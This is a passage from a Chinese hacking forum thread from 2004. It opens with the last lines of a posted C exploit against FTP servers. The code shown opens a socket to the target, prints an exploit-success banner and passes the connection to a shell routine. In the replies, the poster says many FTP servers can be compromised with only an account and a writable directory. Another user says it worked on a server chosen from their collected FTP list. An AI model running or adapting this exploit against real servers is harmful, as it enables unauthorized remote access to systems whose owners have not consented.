  451.                         ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
  452.                         if(ret!=0)
  453.                         {
  454.                                 printf("[-] Exploit seem failed.\n");
  455.                                 __leave;
  456.                         }
  457.                        
  458.                         printf("[+] Exploit success! Good luck! :)\n");
  459.                         printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  460.                         shell(s2);
  461.                 }
  462.                
  463.                
  464.         }

  465.         __finally
  466.         {
  467.                 if(s != INVALID_SOCKET) closesocket(s);
  468.                 if(s2 != INVALID_SOCKET) closesocket(s2);
  469.                 if(s3 != INVALID_SOCKET) closesocket(s3);
  470.                 WSACleanup();
  471.         }

  472.         return;
  473. }
复制代码
发表于 2004-1-31 12:38:08 | 显示全部楼层
很多地方还是老版本啊
 楼主| 发表于 2004-1-31 14:51:45 | 显示全部楼层
呵呵
多的是,不过需要一个帐号和一个可写目录

很多FTP都可以被干掉的……
发表于 2004-1-31 15:38:45 | 显示全部楼层
呵呵,前阵子绿盟发了,不知道如何使用
发表于 2004-1-31 19:00:27 | 显示全部楼层
绝对好用 我随便从收集的FTP里选出个就搞定了
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表